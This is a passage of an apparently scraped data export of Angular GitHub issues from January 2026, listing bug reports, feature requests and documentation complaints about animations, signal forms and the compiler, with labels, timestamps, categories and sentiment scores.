ControlContainer is a powerfull feature in Reactive Form, and the Doc is missing.",,2026-01-09 13:47:07+00:00,2026-01-09 13:55:43+00:00,1,nan,0.006,add controlcontainer documentation describe the problem that you experienced controlcontainer is a powerfull feature in reactive form and the doc is missing,documentation,-0.5994
angular/angular,3796835683,Host animate.enter animate.leave should work,"### Which @angular/* package(s) are the source of the bug?

animations

### Is this a regression?

Yes

### Description

Hi,

I want my animation enter/leave on the `Host`, not on the attributes inside the template.

Because:
1) it's more logical to place the enter/leave on the scoped component
2) you dont always have access over @if blocks, or routing components that are created/destroyed

The creation/deletion of a component should trigger the enter/leave animation.

This used to be possible, with the older style animation, using
```
  animations: [
    trigger('slideInOut', [
      transition(':enter', [
        style({ right: '-400px', width: 0 }),
        animate('.35s ease-in', style({ right: '0', width: '400px' }))
      ]),
      transition(':leave', [
        animate('.35s ease-out', style({ right: '-400px', width: 0 }))])
    ])
  ]
})
export class RightSidebarComponent {
  @HostBinding('@slideInOut') class = true;
```

Now I'm trying `host` but it doesnt work.

```
import { Component, HostBinding, NgZone } from '@angular/core';
import { Toast, ToastPackage, ToastrService } from 'ngx-toastr';
import { CommonModule } from '@angular/common';

@Component({
  selector: '[custom-toast-component]',
  standalone: true,
  imports: [CommonModule],
  styles: [`
    @keyframes fadeInAnimation {
      from { opacity: 0; transform: translateY(100%); }
      to { opacity: 1; transform: translateY(0); }
    }
    @keyframes fadeOutAnimation {
      from { opacity: 1; transform: tr... [TRUNCATED]","needs reproduction,area: core,core: animations",2026-01-09 12:50:23+00:00,2026-01-14 23:19:20+00:00,3,"needs reproduction,area: core,core: animations",5.4368,host animate enter animate leave should work which angular package s are the source of the bug animations is this a regression yes description hi i want my animation enter leave on the not on the attributes inside the template because it s more logical to place the enter leave on the scoped component you dont always have access over if blocks or routing components that are created destroyed the creation deletion of a component should trigger the enter leave animation this used to be possible with the older style animation using now i m trying but it doesnt work import component hostbinding ngzone from angular core import toast toastpackage toastrservice from ngx toastr import commonmodule from angular common component selector custom toast component standalone true imports commonmodule styles keyframes fadeinanimation from opacity transform translatey to opacity transform translatey keyframes fadeoutanimation from opacity transform tr truncated,others,0.4215
angular/angular,3796564251,Visit `Visitor.visitEmptyExpr` in `EmptyExpr.visit`,"### Which @angular/* package(s) are relevant/related to the feature request?

compiler

### Description

It's strange to me that every other node visits Visitor, but `EmptyExpr` don't.

### Proposed solution

Call visit function in `EmptyExpr#visit()`

### Alternatives considered

N/A",area: compiler,2026-01-09 11:17:10+00:00,2026-01-09 16:53:55+00:00,3,area: compiler,0.2339,visit in which angular package s are relevant related to the feature request compiler description it s strange to me that every other node visits visitor but don t proposed solution call visit function in alternatives considered n a,others,0.3716
angular/angular,3795999175,"Unable to access the HttpResponse type from ""@angular/common/http""","### Which @angular/* package(s) are the source of the bug?

common

### Is this a regression?

Yes

### Description

Previously we could access the type by:
`import { HttpResponse } from '@angular/common/http';`

currently it complains that 
`TS2307: Cannot find module @angular/common/http or its corresponding type declarations.`

nasty workaround:
`import { HttpResponse } from '@angular/common/types/_module-chunk';`


### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true
S2307: Cannot find module @angular/common/http or its corresponding type declarations
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.0.5
Angular           : 21.0.7
Node.js           : 22.21.1
Package Manager   : npm 8.1.2
Operating System  : win32 x64

┌───────────────────────────────────┬───────────────────┬───────────────────┐
│ Package                           │ Installed Version │ Requested Version │
├───────────────────────────────────┼───────────────────┼───────────────────┤
│ @angular-devkit/build-angular     │ 21.0.5            │ 21.0.5            │
│ @angular-devkit/core              │ 21.0.5            │ 21.0.5            │
│ @angular-devkit/schematics        │ 21.0.5            │ 21.0.5            │
│ @angular/animations               │ 21.0.7            │ 21.0.7            │
│ @angular/cdk                      │ 21.0.5            │ 21.0.5     ... [TRUNCATED]",,2026-01-09 08:38:22+00:00,2026-01-09 08:53:55+00:00,2,nan,0.0108,unable to access the httpresponse type from angular common http which angular package s are the source of the bug common is this a regression yes description previously we could access the type by currently it complains that nasty workaround please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli angular node js package manager npm win x package installed version requested version angular devkit build angular angular devkit core angular devkit schematics angular animations angular cdk truncated,others,-0.6369
angular/angular,3792935581,Signal forms - radio does not reflect form model signal initial state if value attribute is enum,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

When trying to use `enum` as a `value` attribute for `radio` button, radio button does not reflects initial state of form model signal. 
If i use for example 
```ts
 readonly projectFormModel = signal<ProjectFormModel>({ name: 'test', status: ProjectStatus.CLOSED });
 readonly projectForm = form(this.projectFormModel);
```

 ```html
 <input
  type=""radio""
  [field]=""projectForm.status""
  [value]=""projectStatusEnum.CLOSED""
  id=""btnradio2"" />
<label
  class=""btn btn-outline-primary""
  for=""btnradio2"">
  {{ projectStatusEnum.CLOSED }}
</label>
```
Button should be marked as selected. But it works correctly after I click the html radio button.

It works for initial state if i use plain string for value, ie: `value=""closed""`

Enum values work OK in reactive forms, but not with signal forms.

Example link bellow.

Best regards.


### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/~/github.com/kle-pra/signal-form-enums?file=package.json

### Please provide the exception or error you saw

```true
/
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.0.5
Angular           : 21.0.7
Node.js           : 24.11.0
Package Manager   : npm 11.6.3
Operating System  : linux x64

┌───────────────────────────────┬───────────────────┬───────────────────┐
│ Package                    ... [TRUNCATED]","area: forms,bug,forms: signals",2026-01-08 13:37:04+00:00,2026-01-12 21:49:21+00:00,3,"area: forms,bug,forms: signals",4.3419,signal forms radio does not reflect form model signal initial state if value attribute is enum which angular package s are the source of the bug forms is this a regression no description when trying to use as a attribute for button radio button does not reflects initial state of form model signal if i use for example button should be marked as selected but it works correctly after i click the html radio button it works for initial state if i use plain string for value ie enum values work ok in reactive forms but not with signal forms example link bellow best regards please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli angular node js package manager npm linux x package truncated,bug,0.9313
angular/angular,3792874279,Can't migrate to new animate API based on the docs and provided migration examples,"### Describe the problem that you experienced

I found not enough documentation or examples how to migrate away from @angular/animations stagger function, when it's used for a reversed leave animation. Both examples show a simple staggered enter animation only without latter additions or deletion.

### Enter the URL of the topic with the problem

https://angular.dev/guide/animations/css#staggering-animations-in-a-list https://angular.dev/guide/animations/migration#stagger

### Describe what you were looking for in the documentation

I tried to migrate a simple staggering animation in an app

### Describe the actions that led you to experience the problem

The leave animation contains a `stagger(-50, ....)`. List items can be added and removed later

### Describe what you want to experience that would fix the problem

Documentation how the new ""staggering"" animate API handles reversed order.

### Add a screenshot if that helps illustrate the problem

I'd like to be able to migrate a same behavior application to the new API
https://stackblitz.com/edit/stackblitz-starters-nvgkhntc
",,2026-01-08 13:18:31+00:00,2026-01-08 16:23:16+00:00,4,nan,0.1283,can t migrate to new animate api based on the docs and provided migration examples describe the problem that you experienced i found not enough documentation or examples how to migrate away from angular animations stagger function when it s used for a reversed leave animation both examples show a simple staggered enter animation only without latter additions or deletion enter the url of the topic with the problem describe what you were looking for in the documentation i tried to migrate a simple staggering animation in an app describe the actions that led you to experience the problem the leave animation contains a list items can be added and removed later describe what you want to experience that would fix the problem documentation how the new staggering animate api handles reversed order add a screenshot if that helps illustrate the problem i d like to be able to migrate a same behavior application to the new api,feature,-0.7184
angular/angular,3792768300,Stagger documentation example is not working,"### Describe the problem that you experienced

I merged and copied the example code into a stackblitz repo and found out that the example does not animate correctly.

### Enter the URL of the topic with the problem

https://angular.dev/api/animations/stagger

### Describe what you were looking for in the documentation

I tried to create a stagger animation based on the docs, and tweaking it so the leave animation is reversed.

### Describe the actions that led you to experience the problem

Merging the code pieces together results in a buggy, jumping animation.

### Describe what you want to experience that would fix the problem

For some reason adding `{ optional: true }` as the third argument of the `query` function fixes the animation.

### Add a screenshot if that helps illustrate the problem

https://stackblitz.com/edit/angular-dev-stagger-example",,2026-01-08 12:49:52+00:00,2026-01-08 16:21:14+00:00,2,nan,0.1468,stagger documentation example is not working describe the problem that you experienced i merged and copied the example code into a stackblitz repo and found out that the example does not animate correctly enter the url of the topic with the problem describe what you were looking for in the documentation i tried to create a stagger animation based on the docs and tweaking it so the leave animation is reversed describe the actions that led you to experience the problem merging the code pieces together results in a buggy jumping animation describe what you want to experience that would fix the problem for some reason adding as the third argument of the function fixes the animation add a screenshot if that helps illustrate the problem,documentation,-0.8393
angular/angular,3792623721,Function documentations are duplicated,"### Describe the problem that you experienced

JSDoc documentations of exported functions are duplicated on the page. It's confusing. Looks like the doc creates an extra reference members section, which contains all the information, the page already shows. 

### Enter the URL of the topic with the problem

https://angular.dev/api/core/rxjs-interop/outputFromObservable, https://angular.dev/api/animations/stagger

### Describe what you were looking for in the documentation

I was looking for examples how to use animation functions.

### Describe the actions that led you to experience the problem

I searched for expressions and they kept appearing twice

### Describe what you want to experience that would fix the problem

I think there's no need for the plain unformatted JSDoc content here.

### Add a screenshot if that helps illustrate the problem

<img width=""1184"" height=""991"" alt=""Image"" src=""https://github.com/user-attachments/assets/9e9be8e6-8009-4932-b0d0-c33b11b11ca7"" />
",area: docs-infra,2026-01-08 12:08:11+00:00,2026-01-12 17:50:14+00:00,2,area: docs-infra,4.2375,function documentations are duplicated describe the problem that you experienced jsdoc documentations of exported functions are duplicated on the page it s confusing looks like the doc creates an extra reference members section which contains all the information the page already shows enter the url of the topic with the problem describe what you were looking for in the documentation i was looking for examples how to use animation functions describe the actions that led you to experience the problem i searched for expressions and they kept appearing twice describe what you want to experience that would fix the problem i think there s no need for the plain unformatted jsdoc content here add a screenshot if that helps illustrate the problem,documentation,-0.765
angular/angular,3792181912,Typesafe method signature for ComponentRef<T>.setInput,"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

`ComponentRef<T>.setInput` signature has no type information used even though we have the component type. It would be a way better dx to have that typed.

### Proposed solution

Update the signature of the type to something like 

```ts
abstract class ComponentRef<C> {
  ...
  abstract setInput<K extends keyof C>(name: K, value: C[K]): void;
  ...
}
```

### Alternatives considered

Currently i am trying out a project typing override

```ts


declare module '@angular/core' {
    type Property<T> =
        {
            [P in keyof T]: T[P] extends Function ? never : P
        }[keyof T];

    interface ComponentRef<C> {
        setInput<K extends Property<T>>(name: K, value: C[K]): void;
    }
}
```",,2026-01-08 09:50:31+00:00,2026-01-08 12:33:31+00:00,3,nan,0.1132,typesafe method signature for componentref setinput which angular package s are relevant related to the feature request core description signature has no type information used even though we have the component type it would be a way better dx to have that typed proposed solution update the signature of the type to something like alternatives considered currently i am trying out a project typing override,others,0.128
angular/angular,3791044669,The link to the Simplified Chinese version of the document was not provided correctly,"### Describe the problem that you experienced

The browser opens a new tab and displays error_outline Page when click the Simplified Chinese under the multilingual module



### Enter the URL of the topic with the problem

https://angular.dev/essentials

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

Provide the correct link to the Simplified Chinese version of the document.

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```",,2026-01-08 03:04:25+00:00,2026-01-08 03:23:45+00:00,2,nan,0.0134,the link to the simplified chinese version of the document was not provided correctly describe the problem that you experienced the browser opens a new tab and displays error outline page when click the simplified chinese under the multilingual module enter the url of the topic with the problem describe what you were looking for in the documentation no response describe the actions that led you to experience the problem no response describe what you want to experience that would fix the problem provide the correct link to the simplified chinese version of the document add a screenshot if that helps illustrate the problem no response if this problem caused an exception or error please paste it here if the problem is browser specific please specify the device os browser and version provide any additional information here in as much as detail as you can,documentation,-0.9612
angular/angular,3788929834,Please improve error message if signal form field called `name` can be undefined,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

When you try to bind a field to a property of an object that may be undefined, you normally get a error message that says that this property does not exist. Now, when the property is named `name`, you get a different message that is not that easy to understand:

```typescript
export interface Test {
  a: string;
  name: string;
}

@Component({
  selector: 'custom-form-value-control',
  template: `<input type=""text"" [field]=""valueForm.a""/><input type=""text"" [field]=""valueForm.name""/>`,
  changeDetection: ChangeDetectionStrategy.OnPush,
  imports: [Field],
})
export class CustomControlComponent
  implements FormValueControl<Test | undefined>
{
  public readonly value = model<Test | undefined>();
  protected readonly valueForm = form(this.value);
}
```

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-hh57wspj?file=src%2Fcustom-control.component.ts

### Please provide the exception or error you saw

```true
✘ [ERROR] TS2339: Property 'a' does not exist on type 'FieldTree<Test | undefined, string | number>'.
  Property 'a' does not exist on type '(() => FieldState<Test | undefined, string | number>) & object'. [plugin angular-compiler]

    src/custom-control.component.ts:11:51:
      11 │ ...type=""text"" [field]=""valueForm.a""/><input type=""text"" [field]=""...
         ╵                                   ^
... [TRUNCATED]",,2026-01-07 14:10:35+00:00,2026-01-07 14:23:08+00:00,3,nan,0.0087,please improve error message if signal form field called can be undefined which angular package s are the source of the bug forms is this a regression no description when you try to bind a field to a property of an object that may be undefined you normally get a error message that says that this property does not exist now when the property is named you get a different message that is not that easy to understand please provide a link to a of the bug please provide the exception or error you saw true error ts property a does not exist on type fieldtree property a does not exist on type fieldstate object plugin angular compiler src custom control component ts type text field valueform a input type text field truncated,bug,-0.8661
angular/angular,3788719611,Signal pipes,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

There was an issue https://github.com/angular/angular/issues/56407
which was not properly resolved and provided example is wrong as it suggests ineffective impure pipe.
The issue author was requesting a pure signal pipe.


### Proposed solution

I would like the team members to reconsider this feature.

### Alternatives considered

 Or explain why they want to stick to impure pipes.",,2026-01-07 13:14:56+00:00,2026-01-07 13:18:47+00:00,5,nan,0.0027,signal pipes which angular package s are relevant related to the feature request no response description there was an issue which was not properly resolved and provided example is wrong as it suggests ineffective impure pipe the issue author was requesting a pure signal pipe proposed solution i would like the team members to reconsider this feature alternatives considered or explain why they want to stick to impure pipes,others,-0.3
angular/angular,3788212291,Leaving view animation does not have native demo,"### Describe the problem that you experienced

**Link to Animate entering and leaving a view** migration guide does not shows how leaving transition should be implemented.

### Enter the URL of the topic with the problem

https://angular.dev/guide/animations/migration#animate-entering-and-leaving-a-view

### Describe what you were looking for in the documentation

I'm migrating a list, where items inside it are staggered and has an entering and leaving animation.
",area: docs,2026-01-07 10:36:11+00:00,2026-01-12 16:18:17+00:00,4,area: docs,5.2376,leaving view animation does not have native demo describe the problem that you experienced link to animate entering and leaving a view migration guide does not shows how leaving transition should be implemented enter the url of the topic with the problem describe what you were looking for in the documentation i m migrating a list where items inside it are staggered and has an entering and leaving animation,documentation,-0.6597
angular/angular,3788022371,Anthropic's MCP TypeScript SDK has a ReDoS vulnerability,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

No

### Description

Dear Angular Team

Hopefully I'm at the right place here.
I have the latest Angular 20 installed.

When I run:
```
npm audit --audit-level=high
```

I get the following vulnerability:
```
@modelcontextprotocol/sdk  *
Severity: high
Anthropic's MCP TypeScript SDK has a ReDoS vulnerability - https://github.com/advisories/GHSA-8r9q-7v3j-jr4g
fix available via `npm audit fix --force`
Will install @angular/cli@20.0.6, which is a breaking change
node_modules/@modelcontextprotocol/sdk
  @angular/cli  >=20.1.0-next.0
  Depends on vulnerable versions of @modelcontextprotocol/sdk
  node_modules/@angular/cli
```

Kind Regards
Marco

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true
See above.
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI: 20.3.13
Node: 22.21.1
Package Manager: npm 11.7.0
OS: win32 arm64


Angular: 20.3.15
... common, compiler, compiler-cli, core, forms
... platform-browser, router

Package                      Version
------------------------------------
@angular-devkit/architect    0.2003.13
@angular-devkit/core         20.3.13
@angular-devkit/schematics   20.3.13
@angular/build               20.3.13
@angular/cli                 20.3.13
@schematics/angular          20.3.13
rxjs                   ... [TRUNCATED]",,2026-01-07 09:37:49+00:00,2026-01-07 10:51:26+00:00,2,nan,0.0511,anthropic s mcp typescript sdk has a redos vulnerability which angular package s are the source of the bug don t known other is this a regression no description dear angular team hopefully i m at the right place here i have the latest angular installed when i run i get the following vulnerability kind regards marco please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli node package manager npm os win arm angular common compiler compiler cli core forms platform browser router package version angular devkit architect angular devkit core angular devkit schematics angular build angular cli schematics angular rxjs truncated,others,0.4588
angular/angular,3787359946,animate.leave not working as expected,"### Which @angular/* package(s) are the source of the bug?

animations

### Is this a regression?

Yes

### Description

I am trying to use new `animate.enter` and `animate.leave` in Angular 21 using Signals.
When the element is added to DOM using @If, the `animate.enter` is triggered as expected, but when Signal is reverted to false, it removes the element from DOM immediately and animate.leave is not called at all.

```
<div class=""lg:hidden"">
  @if(isOpen())
  {
    <div class=""fixed inset-0 z-40 flex"">

      <!-- Backdrop -->
      <div
        class=""fixed inset-0 bg-gray-900""
        style=""opacity: 0.9""
        (animate.enter)=""backdropEnter($event)""
        (animate.leave)=""backdropLeave($event)"">
      </div>

        <div
          class=""sidebar relative flex h-full w-full max-w-xs flex-1 flex-col bg-gray-800""
          (animate.enter)=""sidebarEnter($event)""
          (animate.leave)=""sidebarLeave($event)""
        >
         ITEMS
        </div>
    </div>
  }
</div>
```

But if i add animate.leave to root div [ `<div class=""fixed inset-0 z-40 flex"" animate.leave(animate.leave)=""sidebarLeave($event)""` ], in this case it calls both sidebarLeave

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI: 20.1.5
Node: 22.14.0
Package Manager: npm 10.9.2
OS: darwin arm64

Angular: 
.... [TRUNCATED]",needs reproduction,2026-01-07 05:01:29+00:00,2026-01-07 16:44:40+00:00,4,needs reproduction,0.4883,animate leave not working as expected which angular package s are the source of the bug animations is this a regression yes description i am trying to use new and in angular using signals when the element is added to dom using if the is triggered as expected but when signal is reverted to false it removes the element from dom immediately and animate leave is not called at all but if i add animate leave to root div in this case it calls both sidebarleave please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli node package manager npm os darwin arm angular truncated,others,-0.6249
angular/angular,3786592249,Unexpected reference leak when aggregating signals,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

I was trying to implement a Registry Pattern with Angular Services and Signals and leaked some objects via the signals dependency tracking in an unexpected way. The stackblitz link below has more details but the gist of it is:

1. I have a root provided service that performs some aggregation logic in a computed over a set of Signals that are registered with it by component scoped services.
2. When the component scoped services are destroyed they unregister their signal.
3. If the aggregation computed has run but now has no consumers, it will hold onto a reference to the destroyed component scoped service via the dependency tracking of the aggregate computed.

The odd thing I noticed is that if the registered Signal is created with signal() then there is no leak. But if the registered signal is a computed() then there is a leak. I expected both to leak or neither to leak.

I understand that normally a computed's dependencies are not recalculated if it's not being read but would it make sense for dependencies to be recalculated when one is being destroyed? Or when there are no readers?


### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-k2tnpvcd?file=src%2Fmain.ts

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng versio... [TRUNCATED]","area: core,core: reactivity,cross-cutting: signals,forms: signals",2026-01-06 21:26:54+00:00,2026-01-06 21:45:24+00:00,3,"area: core,core: reactivity,cross-cutting: signals,forms: signals",0.0128,unexpected reference leak when aggregating signals which angular package s are the source of the bug core is this a regression no description i was trying to implement a registry pattern with angular services and signals and leaked some objects via the signals dependency tracking in an unexpected way the stackblitz link below has more details but the gist of it is i have a root provided service that performs some aggregation logic in a computed over a set of signals that are registered with it by component scoped services when the component scoped services are destroyed they unregister their signal if the aggregation computed has run but now has no consumers it will hold onto a reference to the destroyed component scoped service via the dependency tracking of the aggregate computed the odd thing i noticed is that if the registered signal is created with signal then there is no leak but if the registered signal is a computed then there is a leak i expected both to leak or neither to leak i understand that normally a computed s dependencies are not recalculated if it s not being read but would it make sense for dependencies to be recalculated when one is being destroyed or when there are no readers please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run ng versio truncated,others,-0.9919
angular/angular,3785361769,Signal Forms: Mark all as touched when not hidden,"### Which @angular/* package(s) are relevant/related to the feature request?

forms

### Description

At the moment you can only mark all fields as touched when using the submit method. In our use case this will lead to undesirable behavior.

Eg. we habe two fields (subject and message). The message is hidden and will only be displayed when entering a subject first. If I tap on submit without entering anything, the subject has an error message. After adding a subject, the message will have the error immidiatly because through submit it was marked as touched (although it was hidden).

### Proposed solution

Let the developer decide which fields to mark as touched or add an option to markAsTouched, but only mark visible fields as touched (ignore hidden fields).

### Alternatives considered

-","area: forms,forms: signals",2026-01-06 14:34:40+00:00,2026-01-28 18:56:05+00:00,4,"area: forms,forms: signals",22.1815,signal forms mark all as touched when not hidden which angular package s are relevant related to the feature request forms description at the moment you can only mark all fields as touched when using the submit method in our use case this will lead to undesirable behavior eg we habe two fields subject and message the message is hidden and will only be displayed when entering a subject first if i tap on submit without entering anything the subject has an error message after adding a subject the message will have the error immidiatly because through submit it was marked as touched although it was hidden proposed solution let the developer decide which fields to mark as touched or add an option to markastouched but only mark visible fields as touched ignore hidden fields alternatives considered,others,-0.7615
angular/angular,3785148158,Allow Signal Form properties to be accessed by name in schema,"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

I have a need to disable form fields based on an external source (API call). With reactive forms I can recursively disable fields whose name exists in a `string[]` with `disabledFields.forEach(disabledFieldId: string) => this.form.get(disabledFieldId).disable();`.

As far as I can tell, I cannot do this using Signal Forms.  I am trying to use `schema()` to apply the same logic. I have tried numerous ways to dynamically obtain the field name, but have not found a way to do this.

The following works, but is not dynamic and requires me to explicitly name each property twice:
`public static disableFields($disabledFields: Signal<string[]>): Schema<SampleForm> {`
`  return schema((fieldPath: SchemaPathTree<SampleForm>) => {`
`    disabled(fieldPath.field1, () => $disabledFields().includes('field1'));`
`    ...`
`    disabled(fieldPath.fieldn, () => $disabledFields().includes('fieldn'));`
`  });`
`}`

### Proposed solution

I am seeking a way to do the above by dynamically referencing each field's name, perhaps using `FieldTree.name`:
`public static disableFields($disabledFields: Signal<string[]>): Schema<SampleForm> {`
`    return schema((fieldPath: SchemaPathTree<SampleForm>) => {`
`      disabled(fieldPath, ({ fieldTree }) => $disabledFields().includes(fieldTree.name);`
`    });`
`  }`


### Alternatives considered

The ability to access properties using `fieldPath['xxx']` (simil... [TRUNCATED]","area: forms,forms: signals",2026-01-06 13:27:24+00:00,2026-02-05 19:06:11+00:00,6,"area: forms,forms: signals",30.2353,allow signal form properties to be accessed by name in schema which angular package s are relevant related to the feature request core description i have a need to disable form fields based on an external source api call with reactive forms i can recursively disable fields whose name exists in a with as far as i can tell i cannot do this using signal forms i am trying to use to apply the same logic i have tried numerous ways to dynamically obtain the field name but have not found a way to do this the following works but is not dynamic and requires me to explicitly name each property twice proposed solution i am seeking a way to do the above by dynamically referencing each field s name perhaps using alternatives considered the ability to access properties using simil truncated,others,0.8212
angular/angular,3783773138,"In component inheritance scene, child component class support parent component's selector and template remaining valid in child template.","### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

The child component has overwriten the parent component's selector and template  when child component inherit a parent component, as shown in the following code.  'draggable' is parent component and 'app-content' is child component.

If I  choose to use 'ng-content' in the template of 'DraggableComponent', and move the temple code of child component to solve the problem  , I have to modify the child component and parent component. Can the angular framework support parent component's selector and template remaining valid in child template.

```ts
// parent component
@Component({
  selector: 'draggable',
  template: '<p>{{ message }}</p>'
})
export class DraggableComponent {
  message = 'Hello from parent';
  dragStart(evt: any, currentCursorType: string = 'ew') {
  }

  dragEnd(evt: any) {
  }

  ewResize(evt: any) {
  }
}
```

```ts
// child component
@Component({
  selector: 'app-content',
  template: `
    <p>{{ message }} (from child template)</p>
    <!--  DraggableComponent -->
    <draggable></draggable>
  `
})
export class ContentComponent extends DraggableComponent {
  // 
}
```


### Proposed solution

I suggest adding a parameter in the parent or child ""@Component"" that says whether to keep the parent selector and parent template.

In this example, if adding in child ""@Component"", 

```ts
// parent component
@Component({
  selector: 'draggable',
  template: '<p>{{ me... [TRUNCATED]",,2026-01-06 05:14:36+00:00,2026-01-06 06:24:52+00:00,2,nan,0.0488,in component inheritance scene child component class support parent component s selector and template remaining valid in child template which angular package s are relevant related to the feature request core description the child component has overwriten the parent component s selector and template when child component inherit a parent component as shown in the following code draggable is parent component and app content is child component if i choose to use ng content in the template of draggablecomponent and move the temple code of child component to solve the problem i have to modify the child component and parent component can the angular framework support parent component s selector and template remaining valid in child template proposed solution i suggest adding a parameter in the parent or child component that says whether to keep the parent selector and parent template in this example if adding in child component ts parent component component selector draggable template me truncated,help,0.7003
angular/angular,3783094267,Incorrect XSS error shown after upgrade from angular 21.0.3 to 21.0.6,"### Which @angular/* package(s) are the source of the bug?

platform-browser

### Is this a regression?

Yes

### Description

I'm using `sanitizer.bypassSecurityTrustResourceUrl` to sanitize a url for an audio tag. This seem to have broken between angular 21.0.3 and 21.0.6, as far as I can tell. It works in this example (Angular 21.0.3) https://stackblitz.com/edit/stackblitz-starters-ffvgzhnf?file=src%2Fmain.ts, but if I then run ng update (to 21.0.6), the audio no longer plays, and I get  `src=""SafeValue must use [property]=binding: https://traffic.libsyn.com/brawlingbrothers/Brawling_Bros_-_Episode_57_-_Blobulous_Motion_-_GenCon_2017.mp3 (see https://angular.dev/best-practices/security#preventing-cross-site-scripting-xss)""` in my src.

(The repro below is update, and shows the bug).

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-cw7peq8g?file=angular.json

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.0.4
Angular           : 21.0.6
Node.js           : 20.19.1
Package Manager   : npm 10.8.2
Operating System  : linux x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/animations       │ 21.0.6            │ ^21... [TRUNCATED]","area: compiler,core: sanitization",2026-01-05 22:54:29+00:00,2026-05-28 14:30:49+00:00,6,"area: compiler,core: sanitization",142.6502,incorrect xss error shown after upgrade from angular to which angular package s are the source of the bug platform browser is this a regression yes description i m using to sanitize a url for an audio tag this seem to have broken between angular and as far as i can tell it works in this example angular but if i then run ng update to the audio no longer plays and i get in my src the repro below is update and shows the bug please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli angular node js package manager npm linux x package installed version requested version angular animations truncated,bug,-0.8381
angular/angular,3782851629,Example code not formated,"### Describe the problem that you experienced

https://angular.dev/guide/testing/components-scenarios#detectchanges

<img width=""1626"" height=""1292"" alt=""Image"" src=""https://github.com/user-attachments/assets/becfd8f8-60a8-4dca-8680-19a1f2469fee"" />

<img width=""1586"" height=""388"" alt=""Image"" src=""https://github.com/user-attachments/assets/b7a23ed3-d37d-4c5c-af5d-9ac9c6e27ef2"" />

<img width=""1462"" height=""996"" alt=""Image"" src=""https://github.com/user-attachments/assets/1be0f9bb-f864-47f0-9abd-86ffefee8660"" />

### Enter the URL of the topic with the problem

_No response_

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```",,2026-01-05 21:02:32+00:00,2026-01-05 21:17:38+00:00,2,nan,0.0105,example code not formated describe the problem that you experienced enter the url of the topic with the problem no response describe what you were looking for in the documentation no response describe the actions that led you to experience the problem no response describe what you want to experience that would fix the problem no response add a screenshot if that helps illustrate the problem no response if this problem caused an exception or error please paste it here if the problem is browser specific please specify the device os browser and version provide any additional information here in as much as detail as you can,others,-0.9633
angular/angular,3782555893,The URL https://angular.io/license should redirect to https://angular.dev/license,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

Yes

### Description

The URL https://angular.io/license should redirect to https://angular.dev/license

### Please provide a link to a minimal reproduction of the bug

https://angular.io/license

### Please provide the exception or error you saw

```true
There is currently a redirect that sends that link to https://v17.angular.io/docs instead.
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_",area: docs-infra,2026-01-05 18:59:43+00:00,2026-01-12 18:26:35+00:00,1,area: docs-infra,6.977,the url should redirect to which angular package s are the source of the bug don t known other is this a regression yes description the url should redirect to please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run anything else no response,documentation,-0.6808
angular/angular,3781939741,Signal Forms: Error when dynamically rendering Field directive,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

Issue #64632 reported that dynamic rendering of the new Signal Form `Field` directive does not work at all.

PR #65599 should provide a fix for this issue.

However when using the latest next version of Angular (21.1.0-next.4) an error is reported when trying to dynamically render the element. Therefore the dynamically rendered Field component is still not usable compared to the static component.

The attached link is the same code as the original issue, only the package versions were upgraded to the latest next version.

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/ra8k4vio-4iabpsh3?file=src%2Fmain.ts

### Please provide the exception or error you saw

```true
When rendering the component, the following issue is being reported:


ERROR TypeError: this.field(...) is not a function
    at Field.state.ngDevMode.debugName [as computation] (signals.mjs:103:37)
    at Object.producerRecomputeValue (_effect-chunk.mjs:310:25)
